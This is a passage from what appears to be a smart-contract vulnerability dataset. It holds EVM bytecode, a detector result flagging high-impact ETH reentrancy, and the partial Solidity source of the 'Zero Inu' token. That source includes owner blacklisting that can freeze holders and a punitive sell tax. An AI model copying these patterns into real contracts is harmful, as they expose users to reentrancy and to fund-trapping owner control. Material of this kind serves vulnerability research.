55050565b6000610f7b610f746114a0565b8484611673565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe66114a0565b73ffffffffffffffffffffffffffffffffffffffff16148061105c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110446114a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61106557600080fd5b600061107030610be8565b905061107b81612036565b50565b6110866114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a9061309f565b60405180910390fd5b60005b838390508110156111b2578160056000868685818110611139576111386130bf565b5b905060200201602081019061114e9190612ea5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111aa9061311d565b915050611116565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112476114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb9061309f565b60405180910390fd5b8060178190555050565b6112e66114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136a9061309f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da906131d8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611518576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150f9061326a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f906132fc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116669190612dd6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da9061338e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a90613420565b60405180910390fd5b60008111611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d906134b2565b60405180910390fd5b61179e610daa565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180c57506117dc610daa565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bf757601560149054906101000a900460ff1661189b5761182d610daa565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461189a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189190613544565b60405180910390fd5b5b6016548111156118e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d7906135b0565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90613642565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a705760175481611a2584610be8565b611a2f9190613662565b10611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a669061372a565b60405180910390fd5b5b6000611a7b30610be8565b9050600060185482101590506016548210611a965760165491505b808015611aae575060158054906101000a900460ff16155b8015611b085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750601560169054906101000a900460ff165b8015611b765750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bcc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bf457611bda82612036565b60004790506000811115611bf257611bf147611f5c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c9e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d505750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d5f5760009050611ee6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e0a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e2257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ecd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ee557600a54600c81905550600b54600d819055505b5b611ef2848484846122bc565b50505050565b6000838311158290611f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f379190612c7f565b60405180910390fd5b5060008385611f4f919061374a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fc4573d6000803e3d6000fd5b5050565b600060065482111561200f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612006906137f0565b60405180910390fd5b60006120196122e9565b905061202e818461231490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561206d5761206c612a0d565b5b60405190808252806020026020018201604052801561209b5781602001602082028036833780820191505090505b50905030816000815181106120b3576120b26130bf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561215557600080fd5b505afa158015612169573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061218d9190613825565b816001815181106121a1576121a06130bf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061220830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a8565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161226c95949392919061394b565b600060405180830381600087803b15801561228657600080fd5b505af115801561229a573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806122ca576122c961235e565b5b6122d58484846123a1565b806122e3576122e261256c565b5b50505050565b60008060006122f6612580565b9150915061230d818361231490919063ffffffff16565b9250505090565b600061235683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125df565b905092915050565b6000600c5414801561237257506000600d54145b1561237c5761239f565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806123b387612642565b95509550955095509550955061241186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126aa90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f281612752565b6124fc848361280f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125599190612dd6565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a764000090506125b4670de0b6b3a764000060065461231490919063ffffffff16565b8210156125d257600654670de0b6b3a76400009350935050506125db565b81819350935050505b9091565b60008083118290612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d9190612c7f565b60405180910390fd5b506000838561263591906139d4565b9050809150509392505050565b600080600080600080600080600061265f8a600c54600d54612849565b925092509250600061266f6122e9565b905060008060006126828e8787876128df565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ef8565b905092915050565b60008082846127039190613662565b905083811015612748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273f90613a51565b60405180910390fd5b8091505092915050565b600061275c6122e9565b90506000612773828461296890919063ffffffff16565b90506127c781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612824826006546126aa90919063ffffffff16565b60068190555061283f816007546126f490919063ffffffff16565b6007819055505050565b6000806000806128756064612867888a61296890919063ffffffff16565b61231490919063ffffffff16565b9050600061289f6064612891888b61296890919063ffffffff16565b61231490919063ffffffff16565b905060006128c8826128ba858c6126aa90919063ffffffff16565b6126aa90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128f8858961296890919063ffffffff16565b9050600061290f868961296890919063ffffffff16565b90506000612926878961296890919063ffffffff16565b9050600061294f8261294185876126aa90919063ffffffff16565b6126aa90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561297b57600090506129dd565b600082846129899190613a71565b905082848261299891906139d4565b146129d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129cf90613b3d565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a45826129fc565b810181811067ffffffffffffffff82111715612a6457612a63612a0d565b5b80604052505050565b6000612a776129e3565b9050612a838282612a3c565b919050565b600067ffffffffffffffff821115612aa357612aa2612a0d565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ae482612ab9565b9050919050565b612af481612ad9565b8114612aff57600080fd5b50565b600081359050612b1181612aeb565b92915050565b6000612b2a612b2584612a88565b612a6d565b90508083825260208201905060208402830185811115612b4d57612b4c612ab4565b5b835b81811015612b765780612b628882612b02565b845260208401935050602081019050612b4f565b5050509392505050565b600082601f830112612b9557612b946129f7565b5b8135612ba5848260208601612b17565b91505092915050565b600060208284031215612bc457612bc36129ed565b5b600082013567ffffffffffffffff811115612be257612be16129f2565b5b612bee84828501612b80565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c31578082015181840152602081019050612c16565b83811115612c40576000848401525b50505050565b6000612c5182612bf7565b612c5b8185612c02565b9350612c6b818560208601612c13565b612c74816129fc565b840191505092915050565b60006020820190508181036000830152612c998184612c46565b905092915050565b6000819050919050565b612cb481612ca1565b8114612cbf57600080fd5b50565b600081359050612cd181612cab565b92915050565b60008060408385031215612cee57612ced6129ed565b5b6000612cfc85828601612b02565b9250506020612d0d85828601612cc2565b9150509250929050565b60008115159050919050565b612d2c81612d17565b82525050565b6000602082019050612d476000830184612d23565b92915050565b6000819050919050565b6000612d72612d6d612d6884612ab9565b612d4d565b612ab9565b9050919050565b6000612d8482612d57565b9050919050565b6000612d9682612d79565b9050919050565b612da681612d8b565b82525050565b6000602082019050612dc16000830184612d9d565b92915050565b612dd081612ca1565b82525050565b6000602082019050612deb6000830184612dc7565b92915050565b600080600060608486031215612e0a57612e096129ed565b5b6000612e1886828701612b02565b9350506020612e2986828701612b02565b9250506040612e3a86828701612cc2565b9150509250925092565b600060ff82169050919050565b612e5a81612e44565b82525050565b6000602082019050612e756000830184612e51565b92915050565b612e8481612ad9565b82525050565b6000602082019050612e9f6000830184612e7b565b92915050565b600060208284031215612ebb57612eba6129ed565b5b6000612ec984828501612b02565b91505092915050565b612edb81612d17565b8114612ee657600080fd5b50565b600081359050612ef881612ed2565b92915050565b600060208284031215612f1457612f136129ed565b5b6000612f2284828501612ee9565b91505092915050565b600060208284031215612f4157612f406129ed565b5b6000612f4f84828501612cc2565b91505092915050565b600080fd5b60008083601f840112612f7357612f726129f7565b5b8235905067ffffffffffffffff811115612f9057612f8f612f58565b5b602083019150836020820283011115612fac57612fab612ab4565b5b9250929050565b600080600060408486031215612fcc57612fcb6129ed565b5b600084013567ffffffffffffffff811115612fea57612fe96129f2565b5b612ff686828701612f5d565b9350935050602061300986828701612ee9565b9150509250925092565b6000806040838503121561302a576130296129ed565b5b600061303885828601612b02565b925050602061304985828601612b02565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613089602083612c02565b915061309482613053565b602082019050919050565b600060208201905081810360008301526130b88161307c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061312882612ca1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561315b5761315a6130ee565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006131c2602683612c02565b91506131cd82613166565b604082019050919050565b600060208201905081810360008301526131f1816131b5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613254602483612c02565b915061325f826131f8565b604082019050919050565b6000602082019050818103600083015261328381613247565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132e6602283612c02565b91506132f18261328a565b604082019050919050565b60006020820190508181036000830152613315816132d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613378602583612c02565b91506133838261331c565b604082019050919050565b600060208201905081810360008301526133a78161336b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061340a602383612c02565b9150613415826133ae565b604082019050919050565b60006020820190508181036000830152613439816133fd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061349c602983612c02565b91506134a782613440565b604082019050919050565b600060208201905081810360008301526134cb8161348f565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061352e603f83612c02565b9150613539826134d2565b604082019050919050565b6000602082019050818103600083015261355d81613521565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061359a601c83612c02565b91506135a582613564565b602082019050919050565b600060208201905081810360008301526135c98161358d565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b600061362c602383612c02565b9150613637826135d0565b604082019050919050565b6000602082019050818103600083015261365b8161361f565b9050919050565b600061366d82612ca1565b915061367883612ca1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136ad576136ac6130ee565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613714602383612c02565b915061371f826136b8565b604082019050919050565b6000602082019050818103600083015261374381613707565b9050919050565b600061375582612ca1565b915061376083612ca1565b925082821015613773576137726130ee565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006137da602a83612c02565b91506137e58261377e565b604082019050919050565b60006020820190508181036000830152613809816137cd565b9050919050565b60008151905061381f81612aeb565b92915050565b60006020828403121561383b5761383a6129ed565b5b600061384984828501613810565b91505092915050565b6000819050919050565b600061387761387261386d84613852565b612d4d565b612ca1565b9050919050565b6138878161385c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6138c281612ad9565b82525050565b60006138d483836138b9565b60208301905092915050565b6000602082019050919050565b60006138f88261388d565b6139028185613898565b935061390d836138a9565b8060005b8381101561393e57815161392588826138c8565b9750613930836138e0565b925050600181019050613911565b5085935050505092915050565b600060a0820190506139606000830188612dc7565b61396d602083018761387e565b818103604083015261397f81866138ed565b905061398e6060830185612e7b565b61399b6080830184612dc7565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139df82612ca1565b91506139ea83612ca1565b9250826139fa576139f96139a5565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613a3b601b83612c02565b9150613a4682613a05565b602082019050919050565b60006020820190508181036000830152613a6a81613a2e565b9050919050565b6000613a7c82612ca1565b9150613a8783612ca1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ac057613abf6130ee565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b27602183612c02565b9150613b3282613acb565b604082019050919050565b60006020820190508181036000830152613b5681613b1a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220edeb93d6cc21c54c3fdd8c16547b14d54b6789d122037b422714295443eb766b64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,464
0xb945933cbdb6bc23cdc8481a9675bf371be87eb1
// SPDX-License-Identifier: Unlicensed // https://zeroinu.us // https://t.me/zeroinu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZERO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Zero Inu"; string private constant _symbol = "ZERO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 3; uint256 private _taxFeeJeets = 10; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 30; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x27702daD7c0cd0Be60d830766A31F7F76ffD16F6); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 4e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 2e10 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 2 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return 